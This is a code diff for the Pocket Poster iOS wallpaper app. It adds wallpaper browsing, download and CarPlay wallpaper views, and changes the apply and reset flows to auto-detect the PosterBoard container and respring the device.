UIApplication.shared.alert(title: String(format: NSLocalizedString("Successfully imported %@", comment: ""), "\(url.lastPathComponent)"), body: "")
|
UIApplication.shared.alert(title: String(format: NSLocalizedString("Successfully imported %@", comment: ""), "\(url.lastPathComponent)"), body: "")
|
||||||
@@ -65,24 +81,6 @@ struct Pocket_PosterApp: App {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func downloadWallpaper() {
|
|
||||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
|
||||||
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
|
||||||
|
|
||||||
Task {
|
|
||||||
do {
|
|
||||||
let newURL = try await DownloadManager.downloadFromURL(string: downloadURL!)
|
|
||||||
PosterBoardManager.shared.selectedTendies.append(newURL)
|
|
||||||
Haptic.shared.notify(.success)
|
|
||||||
UIApplication.shared.dismissAlert(animated: true)
|
|
||||||
} catch {
|
|
||||||
Haptic.shared.notify(.error)
|
|
||||||
UIApplication.shared.dismissAlert(animated: true)
|
|
||||||
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
init() {
|
init() {
|
||||||
// clear the videos cache
|
// clear the videos cache
|
||||||
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
|
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
|
||||||
|
|||||||
@@ -0,0 +1,75 @@
|
|||||||
|
//
|
||||||
|
// WebView.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 7/6/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import SwiftUI
|
||||||
|
import WebKit
|
||||||
|
|
||||||
|
struct WallpaperWebView: UIViewRepresentable {
|
||||||
|
let url: URL
|
||||||
|
@Binding var isLoading: Bool
|
||||||
|
@Binding var error: Error?
|
||||||
|
|
||||||
|
init(_ url: URL, isLoading: Binding<Bool>, error: Binding<Error?>) {
|
||||||
|
self.url = url
|
||||||
|
self._isLoading = isLoading
|
||||||
|
self._error = error
|
||||||
|
}
|
||||||
|
|
||||||
|
func makeCoordinator() -> Coordinator {
|
||||||
|
Coordinator(self)
|
||||||
|
}
|
||||||
|
func makeUIView(context: Context) -> some UIView {
|
||||||
|
let configuration = WKWebViewConfiguration()
|
||||||
|
configuration.setURLSchemeHandler(AssetsSchemeHandler(), forURLScheme: "pocketposter")
|
||||||
|
let webView = WKWebView(frame: .zero, configuration: configuration)
|
||||||
|
webView.navigationDelegate = context.coordinator
|
||||||
|
webView.load(URLRequest(url: url))
|
||||||
|
|
||||||
|
return webView
|
||||||
|
}
|
||||||
|
|
||||||
|
func updateUIView(_ uiView: UIViewType, context: Context) {}
|
||||||
|
|
||||||
|
class Coordinator: NSObject, WKNavigationDelegate {
|
||||||
|
var parent: WallpaperWebView
|
||||||
|
init(_ parent: WallpaperWebView) {
|
||||||
|
self.parent = parent
|
||||||
|
}
|
||||||
|
func webView(_ webView: WKWebView, didStartProvisionalNavigation navigation: WKNavigation!) {
|
||||||
|
parent.isLoading = true
|
||||||
|
}
|
||||||
|
func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
|
||||||
|
parent.isLoading = false
|
||||||
|
}
|
||||||
|
func webView(_ webView: WKWebView, didFailProvisionalNavigation navigation: WKNavigation!, withError error: Error) {
|
||||||
|
return
|
||||||
|
let nsError = error as NSError
|
||||||
|
if nsError.code == NSURLErrorCancelled { return }
|
||||||
|
print("loading error: \(error)")
|
||||||
|
parent.isLoading = false
|
||||||
|
parent.error = error
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class AssetsSchemeHandler: NSObject, WKURLSchemeHandler {
|
||||||
|
func webView(_ webView: WKWebView, start urlSchemeTask: WKURLSchemeTask) {
|
||||||
|
DispatchQueue.global().async {
|
||||||
|
print("handling scheme")
|
||||||
|
guard let url = urlSchemeTask.request.url, url.absoluteString.starts(with: "pocketposter://download") else { return }
|
||||||
|
|
||||||
|
print("url: \(url.absoluteString)")
|
||||||
|
DownloadManager.shared.startTendiesDownload(for: url)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func webView(_ webView: WKWebView, stop urlSchemeTask: WKURLSchemeTask) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -58,10 +58,15 @@ struct ContentView: View {
|
|||||||
}
|
}
|
||||||
|
|
||||||
Section {
|
Section {
|
||||||
if pbHash == "" {
|
if pbHash == "" && !SymHandler.prefersBadQuery {
|
||||||
Text("Enter your PosterBoard app hash in Settings.")
|
Text("Enter your PosterBoard app hash in Settings.")
|
||||||
} else {
|
} else {
|
||||||
VStack {
|
VStack {
|
||||||
|
if pbHash == "" && SymHandler.prefersBadQuery {
|
||||||
|
Text("No hash set — will auto-detect via bad_query on Apply.")
|
||||||
|
.font(.caption)
|
||||||
|
.foregroundStyle(.secondary)
|
||||||
|
}
|
||||||
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
|
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
|
||||||
Button(action: {
|
Button(action: {
|
||||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||||
@@ -69,21 +74,23 @@ struct ContentView: View {
|
|||||||
|
|
||||||
DispatchQueue.global(qos: .userInitiated).async {
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
do {
|
do {
|
||||||
try pbManager.applyTendies(appHash: pbHash)
|
var hash = pbHash
|
||||||
|
if hash.isEmpty {
|
||||||
|
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
|
||||||
|
hash = try BadQuery.findPosterBoardHash()
|
||||||
|
DispatchQueue.main.async { pbHash = hash }
|
||||||
|
}
|
||||||
|
try pbManager.applyTendies(appHash: hash)
|
||||||
SymHandler.cleanup() // just to be extra sure
|
SymHandler.cleanup() // just to be extra sure
|
||||||
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
|
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
|
||||||
UIApplication.shared.dismissAlert(animated: false)
|
|
||||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
DispatchQueue.main.async {
|
||||||
pbManager.selectedTendies.removeAll()
|
pbManager.selectedTendies.removeAll()
|
||||||
|
pbManager.videos.removeAll()
|
||||||
Haptic.shared.notify(.success)
|
Haptic.shared.notify(.success)
|
||||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("The PosterBoard app will now open. Please close it from the app switcher.", comment: ""), onOK: {
|
// Instant Mond-style respring (no alert delay)
|
||||||
if !pbManager.openPosterBoard() {
|
RespringHelper.respring()
|
||||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Falling Back to Shortcut", comment: ""), body: NSLocalizedString("PosterBoard failed to open directly. The fallback shortcut will now be opened.", comment: ""), onOK: {
|
|
||||||
pbManager.runShortcut(named: "PosterBoard")
|
|
||||||
}, noCancel: true)
|
|
||||||
}
|
}
|
||||||
}, noCancel: true)
|
|
||||||
})
|
|
||||||
} catch CocoaError.fileWriteUnknown {
|
} catch CocoaError.fileWriteUnknown {
|
||||||
presentError(ApplyError.wrongAppHash)
|
presentError(ApplyError.wrongAppHash)
|
||||||
} catch CocoaError.fileWriteFileExists {
|
} catch CocoaError.fileWriteFileExists {
|
||||||
@@ -99,17 +106,41 @@ struct ContentView: View {
|
|||||||
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
|
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
|
||||||
}
|
}
|
||||||
Button(action: {
|
Button(action: {
|
||||||
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
|
UIApplication.shared.confirmAlert(
|
||||||
hideResetHelp = false // fallback to tutorial
|
title: NSLocalizedString("Reset Collections", comment: ""),
|
||||||
return
|
body: SymHandler.prefersBadQuery
|
||||||
|
? "This will wipe custom PosterBoard descriptors via bad_query, then respring."
|
||||||
|
: NSLocalizedString("Do you want to reset collections?", comment: ""),
|
||||||
|
onOK: {
|
||||||
|
UIApplication.shared.alert(
|
||||||
|
title: "Resetting…",
|
||||||
|
body: "Please wait",
|
||||||
|
animated: true,
|
||||||
|
withButton: false
|
||||||
|
)
|
||||||
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
do {
|
||||||
|
var hash = pbHash
|
||||||
|
if hash.isEmpty && SymHandler.prefersBadQuery {
|
||||||
|
hash = try BadQuery.findPosterBoardHash()
|
||||||
|
DispatchQueue.main.async { pbHash = hash }
|
||||||
}
|
}
|
||||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Reset Collections", comment: ""), body: NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: {
|
guard !hash.isEmpty else {
|
||||||
if pbManager.setSystemLanguage(to: lang) {
|
throw ApplyError.wrongAppHash
|
||||||
UIApplication.shared.alert(title: NSLocalizedString("Collections Successfully Reset!", comment: ""), body: NSLocalizedString("Your PosterBoard will refresh automatically.", comment: ""))
|
|
||||||
} else {
|
|
||||||
UIApplication.shared.alert(body: "The API failed to call correctly.\nSystem Locale Code: \(lang)")
|
|
||||||
}
|
}
|
||||||
}, noCancel: false)
|
try pbManager.resetCollections(appHash: hash)
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
Haptic.shared.notify(.success)
|
||||||
|
// Instant Mond-style respring
|
||||||
|
RespringHelper.respring()
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
presentError(ApplyError.unexpected(info: error.localizedDescription))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
noCancel: false
|
||||||
|
)
|
||||||
}) {
|
}) {
|
||||||
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
|
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
|
||||||
}
|
}
|
||||||
@@ -167,11 +198,11 @@ struct ContentView: View {
|
|||||||
|
|
||||||
func presentError(_ error: ApplyError) {
|
func presentError(_ error: ApplyError) {
|
||||||
SymHandler.cleanup()
|
SymHandler.cleanup()
|
||||||
UIApplication.shared.dismissAlert(animated: false)
|
DispatchQueue.main.async {
|
||||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
|
||||||
Haptic.shared.notify(.error)
|
Haptic.shared.notify(.error)
|
||||||
UIApplication.shared.alert(body: error.localizedDescription)
|
// alert() dismisses any buttonless progress sheet first, always with OK
|
||||||
})
|
UIApplication.shared.alert(body: error.localizedDescription, withButton: true)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
init() {
|
init() {
|
||||||
|
|||||||
@@ -0,0 +1,212 @@
|
|||||||
|
//
|
||||||
|
// CarPlayView.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 6/19/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
import PhotosUI
|
||||||
|
|
||||||
|
struct CarPlayView: View {
|
||||||
|
@State var wallpapers: [CarPlayWallpaper] = []
|
||||||
|
@State var didChange: Bool = false
|
||||||
|
@State var showDark: Bool = false
|
||||||
|
|
||||||
|
@AppStorage("cpHash") var cpHash: String = ""
|
||||||
|
@State var activeWallpapers: [String] = []
|
||||||
|
@ObservedObject var pbManager = PosterBoardManager.shared
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
NavigationStack {
|
||||||
|
ZStack {
|
||||||
|
ScrollView {
|
||||||
|
if wallpapers.isEmpty {
|
||||||
|
ProgressView()
|
||||||
|
} else {
|
||||||
|
LazyVGrid(columns: [GridItem(.adaptive(minimum: 150, maximum: 250))]) {
|
||||||
|
ForEach($wallpapers) { wallpaper in
|
||||||
|
ZStack {
|
||||||
|
WallpaperView(wallpaper: wallpaper, didChange: $didChange, showDark: $showDark)
|
||||||
|
.disabled(activeWallpapers.contains(wallpaper.name.wrappedValue))
|
||||||
|
// The checkmark
|
||||||
|
if activeWallpapers.contains(wallpaper.name.wrappedValue) {
|
||||||
|
RoundedRectangle(cornerRadius: 8)
|
||||||
|
.foregroundStyle(.black.opacity(0.4))
|
||||||
|
Image(systemName: "checkmark.circle.fill")
|
||||||
|
.font(.title)
|
||||||
|
.foregroundStyle(.green)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.padding()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
VStack {
|
||||||
|
Spacer()
|
||||||
|
if didChange {
|
||||||
|
Button(action: {
|
||||||
|
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
||||||
|
|
||||||
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
do {
|
||||||
|
try CarPlayManager.applyCarPlay(appHash: cpHash, wallpapers: wallpapers)
|
||||||
|
SymHandler.cleanup() // just to be extra sure
|
||||||
|
UIApplication.shared.dismissAlert(animated: false)
|
||||||
|
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||||
|
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
|
||||||
|
Haptic.shared.notify(.success)
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("You can now choose your wallpapers in the CarPlay settings in your car.", comment: ""))
|
||||||
|
})
|
||||||
|
} catch CocoaError.fileWriteUnknown {
|
||||||
|
presentError(ApplyError.wrongAppHash)
|
||||||
|
} catch CocoaError.fileWriteFileExists {
|
||||||
|
presentError(ApplyError.collectionsNeedsReset)
|
||||||
|
} catch {
|
||||||
|
print(error.localizedDescription)
|
||||||
|
presentError(ApplyError.unexpected(info: error.localizedDescription))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}) {
|
||||||
|
if cpHash == "" {
|
||||||
|
Text("Enter your CarPlayWallpaper app hash in Settings.")
|
||||||
|
} else {
|
||||||
|
Label("Apply CarPlay Wallpapers", systemImage: "checkmark.circle")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.buttonStyle(OpaqueButton(color: cpHash == "" ? .red : .blue, fullwidth: true))
|
||||||
|
.disabled(cpHash == "")
|
||||||
|
.padding(.vertical, 10)
|
||||||
|
.padding(.horizontal, 25)
|
||||||
|
.transition(.move(edge: .bottom))
|
||||||
|
.animation(.easeIn, value: didChange)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.navigationTitle("CarPlay Wallpapers")
|
||||||
|
.toolbar {
|
||||||
|
ToolbarItem(placement: .topBarTrailing, content: {
|
||||||
|
Button(action: {
|
||||||
|
withAnimation {
|
||||||
|
showDark.toggle()
|
||||||
|
}
|
||||||
|
}) {
|
||||||
|
Image(systemName: showDark ? "moon" : "sun.max")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.onAppear {
|
||||||
|
if wallpapers.isEmpty {
|
||||||
|
// load active wallpapers from user defaults
|
||||||
|
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
|
||||||
|
// load the wallpapers
|
||||||
|
let cppURL = CarPlayManager.getCarPlayPhotosURL()
|
||||||
|
let frameworkPath = "/System/Library/PrivateFrameworks/CarPlayUIServices.framework"
|
||||||
|
do {
|
||||||
|
for file in try FileManager.default.contentsOfDirectory(at: URL(fileURLWithPath: frameworkPath), includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||||
|
if file.path().hasSuffix("-Light.heic") {
|
||||||
|
let imgData = try Data(contentsOf: file)
|
||||||
|
if let wpImg = UIImage(data: imgData) {
|
||||||
|
var darkImg = wpImg
|
||||||
|
if let darkData = try? Data(contentsOf: URL(fileURLWithPath: file.path().replacingOccurrences(of: "-Light.heic", with: "-Dark.heic"))) {
|
||||||
|
darkImg = UIImage(data: darkData) ?? wpImg
|
||||||
|
}
|
||||||
|
let name = file.lastPathComponent.replacingOccurrences(of: "-Light.heic", with: "")
|
||||||
|
// fetch the selected image if they exist
|
||||||
|
let selectedLight: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Light"))
|
||||||
|
let selectedDark: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Dark"))
|
||||||
|
wallpapers.append(.init(
|
||||||
|
name: name,
|
||||||
|
lightImage: wpImg, darkImage: darkImg,
|
||||||
|
selectedImageDataLight: selectedLight, selectedImageDataDark: selectedDark
|
||||||
|
))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// sort them
|
||||||
|
if let sortedWallpapers = CarPlayManager.getCarPlayWallpaperNames() {
|
||||||
|
wallpapers = wallpapers.reorder(by: sortedWallpapers)
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
UIApplication.shared.alert(body: NSLocalizedString("Failed to fetch CarPlay wallpapers", comment: "") + ":\n\(error.localizedDescription)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func presentError(_ error: ApplyError) {
|
||||||
|
SymHandler.cleanup()
|
||||||
|
UIApplication.shared.dismissAlert(animated: false)
|
||||||
|
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||||
|
Haptic.shared.notify(.error)
|
||||||
|
UIApplication.shared.alert(body: error.localizedDescription)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct WallpaperView: View {
|
||||||
|
@Binding var wallpaper: CarPlayWallpaper
|
||||||
|
@Binding var didChange: Bool
|
||||||
|
@Binding var showDark: Bool
|
||||||
|
|
||||||
|
@State private var selectedItem: PhotosPickerItem? = nil
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
PhotosPicker(
|
||||||
|
selection: $selectedItem,
|
||||||
|
matching: .images,
|
||||||
|
photoLibrary: .shared()) {
|
||||||
|
VStack {
|
||||||
|
if showDark {
|
||||||
|
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
|
||||||
|
WallpaperImageView(img: img)
|
||||||
|
} else {
|
||||||
|
WallpaperImageView(img: wallpaper.darkImage)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
|
||||||
|
WallpaperImageView(img: img)
|
||||||
|
} else {
|
||||||
|
WallpaperImageView(img: wallpaper.lightImage)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.overlay {
|
||||||
|
RoundedRectangle(cornerRadius: 8)
|
||||||
|
.stroke(.gray, lineWidth: 2)
|
||||||
|
}
|
||||||
|
.onChange(of: selectedItem) { newItem in
|
||||||
|
if newItem == nil { return }
|
||||||
|
Task {
|
||||||
|
// Retrieve selected asset in the form of Data
|
||||||
|
if let data = try? await newItem?.loadTransferable(type: Data.self) {
|
||||||
|
if showDark {
|
||||||
|
wallpaper.selectedImageDataDark = data
|
||||||
|
} else {
|
||||||
|
wallpaper.selectedImageDataLight = data
|
||||||
|
}
|
||||||
|
selectedItem = nil
|
||||||
|
withAnimation {
|
||||||
|
didChange = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct WallpaperImageView: View {
|
||||||
|
var img: UIImage
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
Image(uiImage: img)
|
||||||
|
.resizable()
|
||||||
|
.aspectRatio(1.35, contentMode: .fill)
|
||||||
|
.cornerRadius(8)
|
||||||
|
.clipped()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,226 @@
|
|||||||
|
//
|
||||||
|
// ExploreView.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 7/6/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
import CachedAsyncImage
|
||||||
|
|
||||||
|
let MIN_SIZE: CGFloat = 165
|
||||||
|
let CORNER_RADIUS: CGFloat = 12
|
||||||
|
|
||||||
|
struct ExploreView: View {
|
||||||
|
@ObservedObject var cowabungaAPI = CowabungaAPI.shared
|
||||||
|
|
||||||
|
// lazyvgrid
|
||||||
|
@State private var gridItemLayout = [GridItem(.adaptive(minimum: MIN_SIZE))]
|
||||||
|
@State private var wallpapers: [DownloadableWallpaper] = []
|
||||||
|
|
||||||
|
@State var wallpaperTypeSelected = 0
|
||||||
|
@State var wallpaperTypeShown = DownloadableWallpaper.WallpaperType.custom
|
||||||
|
|
||||||
|
@State var filterType: FilterType = .random
|
||||||
|
@State var searchTerm: String = ""
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
NavigationView {
|
||||||
|
ScrollView {
|
||||||
|
PullToRefresh(coordinateSpaceName: "pullToRefresh") {
|
||||||
|
// refresh
|
||||||
|
wallpapers.removeAll()
|
||||||
|
Haptic.shared.play(.light)
|
||||||
|
//URLCache.imageCache.removeAllCachedResponses()
|
||||||
|
loadWallpapers()
|
||||||
|
}
|
||||||
|
VStack {
|
||||||
|
Picker("", selection: $wallpaperTypeSelected) {
|
||||||
|
Text("Custom").tag(0)
|
||||||
|
Text("Apple").tag(1)
|
||||||
|
}
|
||||||
|
.pickerStyle(.segmented)
|
||||||
|
}
|
||||||
|
.padding(.horizontal, 24)
|
||||||
|
.padding(.bottom, 10)
|
||||||
|
|
||||||
|
if wallpapers.isEmpty {
|
||||||
|
ProgressView()
|
||||||
|
.scaleEffect(1.75)
|
||||||
|
.navigationTitle("Explore")
|
||||||
|
} else {
|
||||||
|
LazyVGrid(columns: gridItemLayout) {
|
||||||
|
ForEach(wallpapers) { wallpaper in
|
||||||
|
if searchTerm == "" || wallpaper.name.lowercased().contains(searchTerm.lowercased()) || (wallpaper.authors ?? "").lowercased().contains(searchTerm.lowercased()) {
|
||||||
|
Button(action: {
|
||||||
|
DownloadManager.shared.startTendiesDownload(for: cowabungaAPI.getDownloadURLForWallpaper(wallpaper: wallpaper))
|
||||||
|
}) {
|
||||||
|
VStack(spacing: 0) {
|
||||||
|
ZStack {
|
||||||
|
Color.gray.opacity(0.4)
|
||||||
|
if wallpaper.previewIsGif() {
|
||||||
|
GIFImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), animate: true, loop: true)
|
||||||
|
.aspectRatio(contentMode: .fit)
|
||||||
|
.frame(maxWidth: .infinity)
|
||||||
|
} else {
|
||||||
|
CachedAsyncImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), urlCache: .imageCache) { image in
|
||||||
|
image
|
||||||
|
.resizable()
|
||||||
|
.aspectRatio(contentMode: .fit)
|
||||||
|
.frame(maxWidth: .infinity)
|
||||||
|
} placeholder: {
|
||||||
|
Color.gray
|
||||||
|
.frame(height: MIN_SIZE)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.cornerRadius(CORNER_RADIUS, corners: .topLeft)
|
||||||
|
.cornerRadius(CORNER_RADIUS, corners: .topRight)
|
||||||
|
HStack {
|
||||||
|
VStack(spacing: 4) {
|
||||||
|
HStack {
|
||||||
|
Text(wallpaper.name)
|
||||||
|
.foregroundStyle(Color(uiColor: .label))
|
||||||
|
.minimumScaleFactor(0.5)
|
||||||
|
Spacer()
|
||||||
|
}
|
||||||
|
if let authors = wallpaper.authors {
|
||||||
|
HStack {
|
||||||
|
Text(authors)
|
||||||
|
.foregroundColor(.secondary)
|
||||||
|
.font(.caption)
|
||||||
|
.minimumScaleFactor(0.5)
|
||||||
|
Spacer()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.lineLimit(1)
|
||||||
|
Spacer()
|
||||||
|
Image(systemName: "arrow.down.circle")
|
||||||
|
.foregroundColor(.blue)
|
||||||
|
}
|
||||||
|
.padding(.horizontal, 12)
|
||||||
|
.padding(.vertical, 8)
|
||||||
|
.frame(height: 58)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.frame(minWidth: MIN_SIZE)
|
||||||
|
.background(Color(uiColor: .secondarySystemBackground))
|
||||||
|
.cornerRadius(CORNER_RADIUS)
|
||||||
|
.padding(4)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.padding()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.searchable(text: $searchTerm)
|
||||||
|
.coordinateSpace(name: "pullToRefresh")
|
||||||
|
.navigationTitle("Explore")
|
||||||
|
.toolbar {
|
||||||
|
ToolbarItem(placement: .navigationBarTrailing) {
|
||||||
|
Button(action: {
|
||||||
|
showFilterChangerPopup()
|
||||||
|
}) {
|
||||||
|
Image(systemName: "line.3.horizontal.decrease.circle")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.onAppear {
|
||||||
|
loadWallpapers()
|
||||||
|
}
|
||||||
|
.onChange(of: wallpaperTypeSelected) { newValue in
|
||||||
|
let map = [0: DownloadableWallpaper.WallpaperType.custom, 1: .apple, 2: .template]
|
||||||
|
wallpaperTypeShown = map[newValue]!
|
||||||
|
|
||||||
|
wallpapers.removeAll()
|
||||||
|
loadWallpapers()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func loadWallpapers() {
|
||||||
|
Task {
|
||||||
|
do {
|
||||||
|
wallpapers = try await cowabungaAPI.fetchWallpapers(type: wallpaperTypeShown)
|
||||||
|
wallpapers = cowabungaAPI.filterWallpapers(wallpapers: wallpapers, filterType: filterType)
|
||||||
|
} catch {
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("Failed to fetch wallpapers", comment: ""), body: error.localizedDescription)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func showFilterChangerPopup() {
|
||||||
|
// create and configure alert controller
|
||||||
|
let alert = UIAlertController(title: NSLocalizedString("Filter Wallpapers", comment: ""), message: "", preferredStyle: .actionSheet)
|
||||||
|
|
||||||
|
// create the actions
|
||||||
|
for type in FilterType.allCases {
|
||||||
|
let newAction = UIAlertAction(title: type.rawValue, style: .default) { (action) in
|
||||||
|
// apply the filter type
|
||||||
|
filterType = type
|
||||||
|
wallpapers.removeAll()
|
||||||
|
loadWallpapers()
|
||||||
|
}
|
||||||
|
if filterType == type {
|
||||||
|
// add a check mark
|
||||||
|
newAction.setValue(true, forKey: "checked")
|
||||||
|
}
|
||||||
|
alert.addAction(newAction)
|
||||||
|
}
|
||||||
|
|
||||||
|
let cancelAction = UIAlertAction(title: NSLocalizedString("Cancel", comment: ""), style: .cancel) { (action) in
|
||||||
|
// cancels the action
|
||||||
|
}
|
||||||
|
|
||||||
|
// add the actions
|
||||||
|
alert.addAction(cancelAction)
|
||||||
|
|
||||||
|
let view: UIView = UIApplication.shared.windows.first!.rootViewController!.view
|
||||||
|
// present popover for iPads
|
||||||
|
alert.popoverPresentationController?.sourceView = view // prevents crashing on iPads
|
||||||
|
alert.popoverPresentationController?.sourceRect = CGRect(x: view.bounds.midX, y: view.bounds.maxY, width: 0, height: 0) // show up at center bottom on iPads
|
||||||
|
|
||||||
|
// present the alert
|
||||||
|
UIApplication.shared.windows.first?.rootViewController?.present(alert, animated: true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct PullToRefresh: View {
|
||||||
|
var coordinateSpaceName: String
|
||||||
|
var onRefresh: ()->Void
|
||||||
|
|
||||||
|
@State var needRefresh: Bool = false
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
GeometryReader { geo in
|
||||||
|
if (geo.frame(in: .named(coordinateSpaceName)).midY > 50) {
|
||||||
|
Spacer()
|
||||||
|
.onAppear {
|
||||||
|
needRefresh = true
|
||||||
|
}
|
||||||
|
} else if (geo.frame(in: .named(coordinateSpaceName)).maxY < 10) {
|
||||||
|
Spacer()
|
||||||
|
.onAppear {
|
||||||
|
if needRefresh {
|
||||||
|
needRefresh = false
|
||||||
|
onRefresh()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
HStack {
|
||||||
|
Spacer()
|
||||||
|
if needRefresh {
|
||||||
|
ProgressView()
|
||||||
|
.scaleEffect(1.75)
|
||||||
|
.onAppear {
|
||||||
|
Haptic.shared.play(.light)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Text("")
|
||||||
|
}
|
||||||
|
Spacer()
|
||||||
|
}
|
||||||
|
}.padding(.top, -50)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,7 +5,7 @@
|
|||||||
// Created by lemin on 5/31/25.
|
// Created by lemin on 5/31/25.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUICore
|
import SwiftUI
|
||||||
|
|
||||||
struct OnBoardingPage: Identifiable {
|
struct OnBoardingPage: Identifiable {
|
||||||
var id = UUID()
|
var id = UUID()
|
||||||
|
|||||||
@@ -18,6 +18,16 @@ struct RootView: View {
|
|||||||
.tabItem {
|
.tabItem {
|
||||||
Label("Videos", systemImage: "camera")
|
Label("Videos", systemImage: "camera")
|
||||||
}
|
}
|
||||||
|
if CarPlayManager.supportsCarPlay() {
|
||||||
|
